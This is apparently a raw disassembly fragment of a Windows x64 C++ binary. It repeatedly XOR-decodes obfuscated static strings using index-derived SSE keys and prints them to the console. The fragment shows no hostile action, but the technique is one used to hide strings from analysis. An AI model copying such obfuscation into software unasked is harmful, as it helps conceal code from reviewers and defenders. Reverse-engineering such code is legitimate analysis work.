movups xmmword [rbp + 0x220], xmm1
movzx eax, byte [0x1401ff110]
mov byte [rbp + 0x230], al
mov r8d, r15d
cmp r13d, 2
jl 0x140033ecc
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movdqa xmm7, xmmword [0x1402017a0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x214]
mov edx, dword [rsp + 0x20]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140033dc1
cmp r8d, 0x21
jge 0x140033f0f
movsxd rax, r8d
lea r9, [rbp + 0x210]
add r9, rax
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x140033ee0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], r15
lea rax, [rbp + 0x210]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140033f35
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x1d0]
call fcn.1400050f0
nop
lea r9, [rbp + 0x11c]
lea r8, [rbp + 0x128]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x288]
call fcn.140003ca0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x140033f87
mov rax, qword [rax]
mov rdx, rax
mov rcx, r12
call fcn.140005f10
lea rdx, [0x140006b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x288]
call fcn.140003990
nop
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0x10
jb 0x14003495c
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140033ff4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036b6f
call fcn.1400b7470
jmp 0x14003495c
cmp eax, 2
jne 0x140034485
movups xmm0, xmmword [0x1401ff118]
movups xmmword [rbp + 0x210], xmm0
movups xmm1, xmmword [0x1401ff128]
movups xmmword [rbp + 0x220], xmm1
movzx eax, word [0x1401ff138]
mov word [rbp + 0x230], ax
mov r8d, r15d
cmp r13d, 2
jl 0x14003418d
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movdqa xmm7, xmmword [0x1402017a0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x214]
mov edx, dword [rsp + 0x20]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140034082
cmp r8d, 0x22
jge 0x1400341cf
movsxd rax, r8d
lea r9, [rbp + 0x210]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x1400341a0
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x288]
call fcn.140007470
mov rcx, rax
call fcn.140017920
mov r12, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 0x134], 0xff
mov dword [rbp + 0x13c], 0xff
mov qword [rbp + 0x140], r15
mov dword [rbp + 0x148], 0xff
movups xmm0, xmmword [0x1401ff140]
movups xmmword [rbp + 0x210], xmm0
movups xmm1, xmmword [0x1401ff150]
movups xmmword [rbp + 0x220], xmm1
movzx eax, word [0x1401ff160]
mov word [rbp + 0x230], ax
mov r8d, r15d
cmp r13d, 2
jl 0x14003439d
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movdqa xmm7, xmmword [0x1402017a0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x214]
mov edx, dword [rsp + 0x20]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140034292
cmp r8d, 0x22
jge 0x1400343df
movsxd rax, r8d
lea r9, [rbp + 0x210]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x1400343b0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], r15
lea rax, [rbp + 0x210]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140034405
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x1d0]
call fcn.1400050f0
nop
lea r9, [rbp + 0x134]
lea r8, [rbp + 0x140]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x288]
call fcn.140003ca0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x140034457
mov rax, qword [rax]
mov rdx, rax
mov rcx, r12
call fcn.140005f10
lea rdx, [0x140006b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x288]
call fcn.140003990
nop
jmp 0x140034950
cmp eax, 3
jne 0x14002df18
movups xmm0, xmmword [0x1401ff168]
movups xmmword [rbp + 0x288], xmm0
movups xmm1, xmmword [0x1401ff178]
movups xmmword [rbp + 0x298], xmm1
movzx eax, word [0x1401ff188]
mov word [rbp + 0x2a8], ax
mov r8d, r15d
cmp r13d, 2
jl 0x14003461b
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movdqa xmm7, xmmword [0x1402017a0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x28c]
mov edx, dword [rsp + 0x20]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140034510
cmp r8d, 0x22
jge 0x14003465f
movsxd rax, r8d
lea r9, [rbp + 0x288]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x140034630
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], r15
lea rax, [rbp + 0x288]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140034685
lea rdx, [rbp + 0x288]
lea rcx, [rbp + 0x1d0]
call fcn.1400050f0
lea rcx, [rbp + 0x1d0]
call fcn.140017920
mov r12, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 0x14c], 0xff
mov dword [rbp + 0x154], 0xff
mov qword [rbp + 0x158], r15
mov dword [rbp + 0x160], 0xff
movups xmm0, xmmword [0x1401ff190]
movups xmmword [rbp + 0x210], xmm0
movups xmm1, xmmword [0x1401ff1a0]
movups xmmword [rbp + 0x220], xmm1
movzx eax, word [0x1401ff1b0]
mov word [rbp + 0x230], ax
mov r8d, r15d
cmp r13d, 2
jl 0x14003486b
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movdqa xmm7, xmmword [0x1402017a0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x214]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140034760
cmp r8d, 0x22
jge 0x1400348af
movsxd rax, r8d
lea r9, [rbp + 0x210]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x140034880
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], r15
lea rax, [rbp + 0x210]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400348d5
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x1d0]
call fcn.1400050f0
nop
lea r9, [rbp + 0x14c]
lea r8, [rbp + 0x158]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x288]
call fcn.140003ca0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x140034927
mov rax, qword [rax]
mov rdx, rax
mov rcx, r12
call fcn.140005f10
lea rdx, [0x140006b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x288]
call fcn.140003990
nop
lea rcx, [rbp + 0x1d0]
call fcn.140003990
lea rdx, [0x1401fef38]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003780
movups xmm0, xmmword [0x1401ff1b8]
movups xmmword [rbp + 0x288], xmm0
movups xmm1, xmmword [0x1401ff1c8]
movups xmmword [rbp + 0x298], xmm1
movzx eax, word [0x1401ff1d8]
mov word [rbp + 0x2a8], ax
mov r8d, r15d
cmp r13d, 2
jl 0x140034afb
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movdqa xmm7, xmmword [0x1402017a0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x28c]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400349f0
cmp r8d, 0x22
jge 0x140034b3f
movsxd rax, r8d
lea r9, [rbp + 0x288]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x140034b10
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], r15
lea rax, [rbp + 0x288]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140034b65
lea rdx, [rbp + 0x288]
lea rcx, [rbp + 0x1d0]
call fcn.1400050f0
lea rcx, [rbp + 0x1d0]
call fcn.140017920
mov r12, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 0x164], 0xff
mov dword [rbp + 0x16c], 0xff
mov qword [rbp + 0x170], r15
mov dword [rbp + 0x178], 0xff
movups xmm0, xmmword [0x1401ff1e0]
movups xmmword [rbp + 0x248], xmm0
movsd xmm1, qword [0x1401ff1f0]
movsd qword [rbp + 0x258], xmm1
mov eax, dword [0x1401ff1f8]
mov dword [rbp + 0x260], eax
movzx eax, word [0x1401ff1fc]
mov word [rbp + 0x264], ax
movzx eax, byte [0x1401ff1fe]
mov byte [rbp + 0x266], al
mov r8d, r15d
cmp r13d, 2
jl 0x140034d5c
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movdqa xmm7, xmmword [0x1402017a0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x24c]
mov edx, dword [rsp + 0x20]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140034c51
cmp r8d, 0x1f
jge 0x140034d9f
movsxd rax, r8d
lea r9, [rbp + 0x248]
add r9, rax
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1f
jl 0x140034d70
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], r15
lea rax, [rbp + 0x248]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140034dc5
lea rdx, [rbp + 0x248]
lea rcx, [rbp + 0x1d0]
call fcn.1400050f0
nop
lea r9, [rbp + 0x164]
lea r8, [rbp + 0x170]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x288]
call fcn.140003ca0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x140034e17
mov rax, qword [rax]
mov rdx, rax
mov rcx, r12
call fcn.140005f10
lea rdx, [0x140006b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x288]
call fcn.140003990
nop
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0x10
jb 0x140034e89
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140034e84
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036b76
call fcn.1400b7470
lea rdx, [0x1401fc72c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003780
movsd xmm0, qword [0x1401ff200]
movsd qword [rbp + 0x318], xmm0
mov eax, dword [0x1401ff208]
mov dword [rbp + 0x320], eax
cmp byte [0x1401ff20b], 0
je 0x14003502f
mov r8d, r15d
cmp r13d, 2
jl 0x140034fec
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
mov eax, Ordinal_32
movd xmm5, eax
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [0x1401ff200]
pxor xmm2, xmm1
movd dword [rbp + 0x318], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x31c]
pxor xmm2, xmm1
movd dword [rbp + 0x31c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x318]
add r9, rax
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140035000
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], r15
lea rax, [rbp + 0x318]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140035055
